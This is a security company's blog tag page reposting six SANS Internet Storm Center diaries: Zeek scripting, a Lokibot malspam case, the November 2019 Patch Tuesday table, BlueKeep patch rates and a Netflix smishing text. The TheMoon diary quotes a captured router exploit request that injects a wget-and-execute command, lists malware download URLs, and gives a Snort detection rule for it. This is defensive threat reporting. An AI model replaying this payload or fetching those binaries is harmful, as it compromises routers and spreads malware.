CyberSafe NV

Blog

Home → Tag: government

Posts Tagged government

Some packet-fu with Zeek (previously known as bro), (Mon, Nov 11th)

Posted by on November 14, 2019

During an incident response process, one of the fundamental variables to consider is speed. If a net capture is being made where we can presumably find evidence that who and how is causing an incident, any second counts in order to anticipate the attacker in the cyber kill chain sequence.

We need to use a passive approach in the analysis of network traffic to be quick in obtaining results. Zeek is a powerful tool to use in these scenarios. It is a tool with network traffic processing capabilities for application level protocols (DCE-RPC, DHCP, DNP3, DNS, FTP, HTTP, IMAP, IRC, KRB, MODBUS, MQTT, MYSQL, NTLM, NTP, POP3, RADIUS, RDP, RFB, SIP, SMB, SMTP, SOCKS, SSH, SSL, SYSLOG, TUNNELS, XMPP), pattern search and a powerful scripting language to process what the incident responder might require.

Zeek scripts work through events. We can find a summary of all possible events that can be used at https://docs.zeek.org/en/stable/scripts/base/bif/event.bif.zeek.html. Next we will review those that will be covered by the examples of this diary:

  • new_connection: This event is raised everytime a new connection is detected.
  • zeek_done: This event is raised when the packet input is exhausted.
  • protocol_confirmation: This event is raised when zeek was able to confirm the protocol inside a specific connection.

We will cover three simple use cases in this diary:

  • Top talkers by source IP connection and new connections performed.
  • Top talkers by source IP and destination port, with new connections performed.
  • Number of connections confirmed by zeek for a specific IP address with a specific protocol.

Top talkers by source IP connection

The following script implements the use case:

global attempts: table[addr] of count &default=0; 
event new_connection (c: connection)
{
    local source = c$id$orig_h;
    local n = ++attempts[source];
}

event zeek_done ()
{
    local toplog=open(“toptalkers.log”);
    for (k in attempts)
        print toplog,fmt(“%s %s”,attempts[k],k);
    close(toplog);
}
 

Let’s go through the script in detail:

  • We will store the result in the attempts table. We will store there IP addresses type addr and count the occurrences with type count.
  • Using the new_connection event, we traverse the capture counting source IP addresses that generate new connections.
  • Once the packet input is exhausted, using the zeek_done event we create the toptalkers.log file and write the information in the attempts table separated by blank spaces.

Let’s see a snippet of the output:

We can get a sorted output:

Top talkers by source IP and destination port, with new connections performed

The following script implements the use case:

global attempts: table[addr,port] of count &default=0; 
event new_connection (c: connection)
{
    local source = c$id$orig_h;
    local the_port = c$id$resp_p;
    local n = ++attempts[source,the_port];
}

event zeek_done ()
{
    local toplog=open(“toptalkers.log”);
    for ([k,l] in attempts)
        print toplog,fmt(“%s %s %s”,attempts[k,l],k,l);
    close(toplog);
}
 

Let’s review the differences from the previous one:

  • Table now includes ports. Therefore, a new type is included in declaration: port.
  • The source IP, the destination port and the counter for each repetition of this pair of data in the network capture are stored in the code within the new_connection event.
  • Information is written once packet processing is finished to file toptalkers.log.

Let’s see a snippet of this script:

We can get a sorted output:

Number of connections confirmed by zeek for a specific IP address with a specific protocol

The following script implements the use case:

global attempts: table[addr,Analyzer::Tag] of count &default=0; 
event protocol_confirmation (c: connection, the_type: Analyzer::Tag, aid:count)
{
    local source = c$id$orig_h;
    local n = ++attempts[source,the_type];
}

event zeek_done ()
{
    local toplog=open(“toptalkers.log”);
    for ([k,l] in attempts)
        print toplog,fmt(“%s,%s,%s”,k,l,attempts[k,l]);
    close(toplog);
}
 

We can see the some new aspects:

  • The Analyzer::Tag attribute: When the protocol_confirmation event is raised, this attribute saves the protocol that was confirmed by zeek to be in the connection.
  • Information is stored in the table and then saved to a file within the zeek_done event.

In my next diaries I will cover other interesting use cases with zeek using the frameworks that it has.

Manuel Humberto Santander Peláez
SANS Internet Storm Center – Handler
Twitter: @manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Pin It

Tags: ,

Posted in: SANS

Leave a Comment (0) →

An example of malspam pushing Lokibot malware, November 2019, (Wed, Nov 13th)

Posted by on November 12, 2019

Introduction

I posted two diaries last year (2018) about Lokibot malware (sometimes spelled “Loki-bot”).  One was in June 2018 and one was in December 2018.  It’s been a while, so I wanted to share a recent example that came to my blog’s admin email on Tuesday 2019-11-12.

The email

You can get a copy of the sanitized email from this Any.Run link.


Shown above:  A copy of the email opened in Thunderbird.

The attachment was a RAR archive (link) and the RAR archive contained a Windows executable file disguised as a PDF document (link).


Shown above:  The attached RAR archive and the extracted Windows executable file.

The infection traffic

Infection traffic is easily detectable by signatures from the EmergingThreats Open ruleset.


Shown above:  Traffic from an infection filtered in Wireshark.


Shown above:  TCP stream from one of the HTTP requests caused by my sample of Lokibot malware.


Shown above:  EmergingThreats alerts from an Any.Run sandbox analysis of the Windows executable file.

Post-infection forensics on an infected Windows host

I was able to infect a Windows 10 host in my lab environment, and Lokibot made itself persistent through the Windows registry.


Shown above:  Lokibot on an infected Windows host.


Shown above:  Windows registry update caused by Lokibot to stay persistent.

Final words

SHA256 hash of the email:

SHA256 hash of the attached RAR archive:

SHA256 hash of the extracted Windows executable file (Lokibot malware):

—
Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Pin It

Tags: ,

Posted in: SANS

Leave a Comment (0) →

November 2019 Microsoft Patch Tuesday, (Tue, Nov 12th)

Posted by on November 12, 2019

Microsoft today patched a total of 74 vulnerabilities. This patch Tuesday release also includes two advisories. 15 of the vulnerabilities are rated critical.

Two vulnerabilities had been disclosed prior to today, and one critical scripting engine vulnerability has already been exploited in the wild. The vulnerability, CVE-2019-1429, may lead to remote code execution due to memory corruption in the scripting engine. All current versions of Windows / Internet Explorer are affected. This is probably the most important issue you need to patch. At the recent “Pwn2Own” contest in Tokyo, JavaScript engine issues were used to breach anything from smart TV to smartphones via not-so-smart browsers.

The first publicly disclosed problem, a confidentiality issue with Trusted Platform Module (TPM) chip firmware, is probably not as severe. It only affects the ECDSA algorithm, which isn’t used in Windows so far. Patching this issue will be difficult. You will need to update the TPM firmware (and the page Microsoft links to with details from the TPM manufacturer is down right now). Once updated, you need to re-enroll into security services. 

The second publicly known vulnerability affects the Microsoft Office Click-to-Run system (C2R). A crafted file could abuse these components to escalate privileges and execute code as System.

 

 

Description
CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
Azure Stack Spoofing Vulnerability
%%cve:2019-1234%% No No – – Important    
DirectWrite Information Disclosure Vulnerability
%%cve:2019-1432%% No No – – Important 4.4 4.0
%%cve:2019-1411%% No No Less Likely Less Likely Important 4.4 4.0
Hyper-V Remote Code Execution Vulnerability
%%cve:2019-0719%% No No Less Likely Less Likely Critical 8.0 7.2
%%cve:2019-0721%% No No Less Likely Less Likely Critical 8.0 7.2
Jet Database Engine Remote Code Execution Vulnerability
%%cve:2019-1406%% No No Less Likely Less Likely Important 6.7 6.0
Latest Servicing Stack Updates
ADV990001 No No – – Critical    
Microsoft ActiveX Installer Service Elevation of Privilege Vulnerability
%%cve:2019-1382%% No No Less Likely Less Likely Important 7.8 7.0
Microsoft Edge Security Feature Bypass Vulnerability
%%cve:2019-1413%% No No – – Important 4.3 3.9
Microsoft Excel Information Disclosure Vulnerability
%%cve:2019-1446%% No No Less Likely Less Likely Important    
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2019-1448%% No No Less Likely Less Likely Important    
Microsoft Exchange Remote Code Execution Vulnerability
%%cve:2019-1373%% No No Less Likely Less Likely Critical    
Microsoft Guidance for Vulnerability in Trusted Platform Module (TPM)
ADV190024 Yes No – –      
Microsoft Office ClickToRun Security Feature Bypass Vulnerability
%%cve:2019-1449%% No No Less Likely Less Likely Important    
Microsoft Office Excel Security Feature Bypass
%%cve:2019-1457%% Yes No – – Important    
Microsoft Office Information Disclosure Vulnerability
%%cve:2019-1402%% No No Less Likely Less Likely Important    
Microsoft Office Online Spoofing Vulnerability
%%cve:2019-1445%% No No – – Important    
%%cve:2019-1447%% No No – – Important    
Microsoft Office Security Feature Bypass Vulnerability
%%cve:2019-1442%% No No – – Important    
Microsoft SharePoint Information Disclosure Vulnerability
%%cve:2019-1443%% No No Less Likely Less Likely Important    
Microsoft Windows Information Disclosure Vulnerability
%%cve:2019-1381%% No No Less Likely Less Likely Important 6.6 5.9
Microsoft Windows Media Foundation Remote Code Execution Vulnerability
%%cve:2019-1430%% No No – – Critical 7.3 6.6
Microsoft Windows Security Feature Bypass Vulnerability
%%cve:2019-1384%% No No Less Likely Less Likely Important 8.5 7.6
Microsoft splwow64 Elevation of Privilege Vulnerability
%%cve:2019-1380%% No No Less Likely Less Likely Important 7.8 7.0
NetLogon Security Feature Bypass Vulnerability
%%cve:2019-1424%% No No Less Likely Less Likely Important 8.1 7.3
Open Enclave SDK Information Disclosure Vulnerability
%%cve:2019-1370%% No No Less Likely Less Likely Important 7.0 6.3
OpenType Font Driver Information Disclosure Vulnerability
%%cve:2019-1412%% No No – – Important 5.0 4.5
OpenType Font Parsing Remote Code Execution Vulnerability
%%cve:2019-1456%% No No – – Important 7.8 7.0
%%cve:2019-1419%% No No Less Likely Less Likely Critical 7.8 7.0
Scripting Engine Memory Corruption Vulnerability
%%cve:2019-1429%% No Yes Detected Detected Critical 6.4 5.8
%%cve:2019-1426%% No No – – Critical 4.2 3.8
%%cve:2019-1427%% No No – – Critical 4.2 3.8
%%cve:2019-1428%% No No – – Critical 4.2 3.8
VBScript Remote Code Execution Vulnerability
%%cve:2019-1390%% No No More Likely More Likely Critical 6.4 5.8
Visual Studio Elevation of Privilege Vulnerability
%%cve:2019-1425%% No No – – Important    
Win32k Elevation of Privilege Vulnerability
%%cve:2019-1434%% No No – – Important 7.0 6.3
%%cve:2019-1393%% No No More Likely More Likely Important 7.8 7.0
%%cve:2019-1394%% No No More Likely More Likely Important 7.8 7.0
%%cve:2019-1395%% No No More Likely More Likely Important 7.8 7.0
%%cve:2019-1396%% No No More Likely More Likely Important 7.8 7.0
%%cve:2019-1408%% No No More Likely More Likely Important 7.8 7.0
Win32k Graphics Remote Code Execution Vulnerability
%%cve:2019-1441%% No No – – Critical 6.7 6.0
Win32k Information Disclosure Vulnerability
%%cve:2019-1436%% No No More Likely More Likely Important 5.5 5.0
%%cve:2019-1440%% No No Less Likely Less Likely Important 5.0 4.5
Windows AppX Deployment Extensions Elevation of Privilege Vulnerability
%%cve:2019-1385%% No No Less Likely Less Likely Important 7.8 7.0
Windows Certificate Dialog Elevation of Privilege Vulnerability
%%cve:2019-1388%% No No Less Likely Less Likely Important 7.8 7.0
Windows Data Sharing Service Elevation of Privilege Vulnerability
%%cve:2019-1417%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-1379%% No No – – Important 7.8 7.0
%%cve:2019-1383%% No No – – Important 7.8 7.0
Windows Denial of Service Vulnerability
%%cve:2018-12207%% No No Less Likely Less Likely Important 4.7 4.2
%%cve:2019-1391%% No No Less Likely Less Likely Important 5.5 5.0
Windows Elevation of Privilege Vulnerability
%%cve:2019-1420%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-1422%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-1423%% No No – – Important 7.8 7.0
Windows Error Reporting Information Disclosure Vulnerability
%%cve:2019-1374%% No No Less Likely Less Likely Important 5.5 5.0
Windows GDI Information Disclosure Vulnerability
%%cve:2019-1439%% No No Less Likely Less Likely Important 4.7 4.2
Windows Graphics Component Elevation of Privilege Vulnerability
%%cve:2019-1433%% No No Less Likely Less Likely Important 7.0 6.3
%%cve:2019-1435%% No No More Likely More Likely Important 7.0 6.3
%%cve:2019-1437%% No No More Likely More Likely Important 7.0 6.3
%%cve:2019-1438%% No No More Likely More Likely Important 7.0 6.3
%%cve:2019-1407%% No No – – Important 7.8 7.0
Windows Hyper-V Denial of Service Vulnerability
%%cve:2019-0712%% No No Less Likely Less Likely Important 5.8 5.2
%%cve:2019-1309%% No No Less Likely Less Likely Important 5.8 5.2
%%cve:2019-1310%% No No Less Likely Less Likely Important 5.8 5.2
%%cve:2019-1399%% No No Less Likely Less Likely Important 5.4 4.9
Windows Hyper-V Remote Code Execution Vulnerability
%%cve:2019-1389%% No No – – Critical 7.6 6.8
%%cve:2019-1397%% No No Less Likely Less Likely Critical 7.6 6.8
%%cve:2019-1398%% No No Less Likely Less Likely Critical 7.6 6.8
Windows Installer Elevation of Privilege Vulnerability
%%cve:2019-1415%% No No Less Likely Less Likely Important 7.8 7.0
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2019-1392%% No No – – Important 7.0 6.3
Windows Kernel Information Disclosure Vulnerability
%%cve:2019-11135%% No No Less Likely Less Likely Important 4.7 4.2
Windows Modules Installer Service Information Disclosure Vulnerability
%%cve:2019-1418%% No No Less Likely Less Likely Important 3.5 3.2
Windows Remote Procedure Call Information Disclosure Vulnerability
%%cve:2019-1409%% No No Less Likely Less Likely Important 5.5 5.0
Windows Subsystem for Linux Elevation of Privilege Vulnerability
%%cve:2019-1416%% No No Less Likely Less Likely Important 7.8 7.0
Windows TCP/IP Information Disclosure Vulnerability
%%cve:2019-1324%% No No Less Likely Less Likely Important 5.3 4.9
Windows UPnP Service Elevation of Privilege Vulnerability
%%cve:2019-1405%% No No Less Likely Less Likely Important 7.8 7.0

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Pin It

Tags: ,

Posted in: SANS

Leave a Comment (0) →

Are We Going Back to TheMoon (and How is Liquor Involved)?, (Mon, Nov 11th)

Posted by on November 11, 2019

Earlier today, we received an email from an analyst for a large corporation. He asked:

After setting up a dashboard to monitor for worm related traffic, a series of Suricata alerts began to fly in relation to ‘The Moon.’ These devices may have been vulnerable around the time that this article was written, and it is entirely possible that this has gone unnoticed. The traffic definitely seems to fit the profile, although, too few observations of this malware have been published to really compare and confirm from simple network analysis.

We wrote about the “Moon” worm back in 2014, over five years ago. So is this worm still making the rounds? I do indeed see a lot of “TheMoon” alerts in my logs. The one that fires the most is snort ID 29831: “SERVER-WEBAPP Linksys E-series HNAP TheMoon remote code execution attempt.”
“TheMoon” infected Linksys devices. It took advantage of a vulnerability in the tmUnblock.cgi CGI script. The signature is looking for requests to that specific URL:

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-WEBAPP Linksys E-series HNAP TheMoon remote code execution attempt"; flow:established,to_server; content:"/tmUnblock.cgi"; fast_pattern:only; http_uri; content:"ttcp_ip"; http_client_body; pcre:"/ttcp_ip=.*?([x60x3bx7c]|[x3cx3ex24]x28|%60|%3b|%7c|%26|%3c%28|%3e%28|%24%28)/Pim"; metadata:policy balanced-ips drop, policy max-detect-ips drop, policy security-ips drop, ruleset community, service http; reference:url,isc.sans.edu/diary/Linksys+Worm+%28%22TheMoon%22%29+Captured/17630; classtype:attempted-admin; sid:29831; rev:3;)

The reference to the rule links to a diary from five years ago with the related attack traffic. To compare, I have traffic I captured recently against a honeypot:

POST /tmUnblock.cgi HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Liquor 1.0
Content-Length: 312
Content-Type: application/x-www-form-urlencoded

ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+loli%3B+wget+http%3A%2F%2Fardp.hldns.ru%2Floligang.mpsl%3B+chmod+777+loligang.mpsl%3B+.%2Floligang.mpsl+loligang.mpsl.linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

The payload is pretty much still the same. It again exploits the “tmUnblock/ttcp_ip” issue. Unlike the earlier exploit, the newer payload does not use an Authorization header. As we learned back with the original TheMoon, the authorization header was kind of optional, or at least the credentials didn’t have to match the actual credentials for the router. The exploit looks a bit more streamlined but other than that similar. 

The second stage turns out to be challenging to recover. I wasn’t able to connect to any of the recent download URLs. Sometimes these sites will only allow connections from IPs they scanned previously. Or they may just no longer be up and running. Here are some URLs I have seen in the last couple of days:

http://147.135.124.113/bins/linksys.cloudbot
http://142.44.251.105/mipsel
http://159.89.182.124/ankit/jno.mpsl
http://185.172.110.220/mipsel
http://ardp.hldns.ru/loligang.mpsl;

The user agent (Liquor 1.0) is also somewhat unique for this version, and used in other exploits against routers as well (e.g., some GPON exploits). I have only seen these exploits against port 8080, the default Linksys port. 
So what should you do? Likely, it is safe to ignore these scans. Unless a router responds (a tool like Zeek should quickly tell you if it does), I would ignore them or even turn off the signature. As soon as you have a web server listening on port 8080, you will see these scans. Of course, it can’t hurt to set up a rule looking for outbound traffic to make sure you are not the home to any infected devices. A regular vulnerability scan of your network should also quickly identify vulnerable systems.

—
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Pin It

Tags: ,

Posted in: SANS

Leave a Comment (0) →

Did the recent malicious BlueKeep campaign have any positive impact when it comes to patching?, (Sun, Nov 10th)

Posted by on November 10, 2019

After a news of “mass exploitation” of a specific vulnerability hits mainstream media, even organizations that don’t have a formal (or any) patch management process in place usually start to smell the ashes and try to quickly apply the relevant patches. Since media coverage of the recent BlueKeep campaign was quite extensive, I wondered whether the number of vulnerable machines would start diminishing significantly as a result.

BlueKeep[1] has been with us for a while now. And although pretty much everyone in the security community expected/expects to see the vulnerability used to spread a worm (as it was with WannaCry and EternalBlue), this hasn’t happened so far. However on November 2nd, information about a – potentially significant – BlueKeep exploitation campaign was published[2], which at first seemed to indicate that just such a worm might be loose in the wild[3]. Although it turned out not to be a self-spreading malware, but a campaign in which the attackers used the Metasploit BlueKeep exploit (or an exploit similar to that one), many news sources reported on the attacks which managed to bring the vulnerability to the spotlight again. A question occurred to me at that point – was this scare enough to push those who still didn’t apply the patches to do so now?

Although without being able to directly scan all the potentially vulnerable machines in existence it is hard to say whether the media coverage had any definitive impact when it comes to patching, we can get some idea about the state of affairs before and after the campaign from Shodan. Or – to be exact – from data gathered from it over time. Since Shodan can identify some vulnerabilities (including %%cve:CVE-2019-0708%%/BlueKeep) in the systems it scans, determining how many BlueKeep vulnerable systems are connected to the internet[4] at any time should be quite straight-forward. However given the way Shodan works, this is not completely true.

Shodan scans different IP ranges over time in batches, which is why there may be significant peaks (lots of “new” vulnerable systems/systems with open ports in a scanned IP range) or valleys (lots of systems previously detected as vulnerable have been patched/their ports have been closed) in the data. Due to this behavior of Shodan, if we take a look at a chart of the number of detected BlueKeep vulnerable systems over the last two months, the results wouldn’t tell us much.

Luckily, with little context, we can make a bit more sense of the data. Although getting an exact absolute number of vulnerable systems is impossible, we can compare the number of vulnerable systems with the number of all systems responding on %%port:3389%% and get an approximate percentage of actually vulnerable/unpatched systems connected to the internet when compared to all potentially vulnerable systems connected to the internet. Although this is still far from exact, it can give us a much better idea of the state of affairs, as the following chart shows. It should be mentioned at this point that percentages of vulnerable systems vary widely across different countries[5].

As we may see, the percentage of vulnerable systems seems to be falling more or less steadily for the last couple of months and it appears that media coverage of the recent campaign didn’t do much to help it. And since there still appear to be hundreds of thousands of vulnerable systems out there, we have to hope that the worm everyone expects doesn’t arrive any time soon…

———–
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Pin It

Tags: ,

Posted in: SANS

Leave a Comment (0) →

Fake Netflix Update Request by Text, (Sat, Nov 9th)

Posted by on November 9, 2019

In the past week, I have received texts asking to update my Netflix account information. It is obvious the URL listed in the text isn’t Netflix. The text looks like this:

I downloaded the URL to see what the website look like using wget nfca03-novm19-h13[.]com which resolves to 146.0.76.74 located in the Netherlands. The webpage looks interesting but it is obvious it doesn’t look like the real website. The inbound phone number is located in Canada and their real goal is to obtain fraudulent credit card information.

[1] https://whocallsinfo.com/6476146420
[2] https://isc.sans.edu/ipinfo.html?ip=146.0.76.74

———–
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Pin It

Tags: ,

Posted in: SANS

Leave a Comment (0) →
Page 1 of 310 12345...»

A big "thank you" to our major sponsors...


See All Sponsors →